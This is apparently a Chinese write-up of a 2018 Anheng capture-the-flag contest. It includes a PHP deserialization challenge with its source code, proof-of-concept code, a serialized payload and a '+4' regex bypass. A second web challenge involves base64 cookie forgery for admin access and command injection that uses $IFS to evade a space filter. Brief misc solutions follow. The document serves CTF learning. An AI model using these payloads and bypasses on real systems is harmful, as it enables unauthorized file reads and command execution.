2018安恒12月赛复现
2019-03-18 19:55:52
WEB
easy
题目是如下代码
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
很显然是一个反序列化漏洞
将参数改为flag.php即可读取到flag文件
生成poc的代码如下
<?php
@error_reporting(1);
class baby
{
public $file = "flag.php";
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$a = new baby();
echo serialize($a);
?>
本地访问页面生成的反序列化字符串为:
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
将该串内容作为data的值传入,发现被waf拦截
仔细查看题目正则部分,用+4绕过即可
ezweb2
使用御剑扫描目录发现了admin.php文件,访问后提示:
提示不是admin,下意识的查看cookie
将user部分base64解码得到user,我们将admin base64编码后将其替换
进入到后台
发现可以命令执行,但是过滤了空格
空格可以使用$IFS绕过
ls$IFS/
读取flag文件
MISC
学习资料
拿到文件后很明显是明文攻击
跑出密码
打开解压后的Word文档,将图片移走,得到flag
JUJU
题目提示有11只猪,而打开图片明显数量不足,尝试修改图片高度
发现了base32编码
解密后得到flag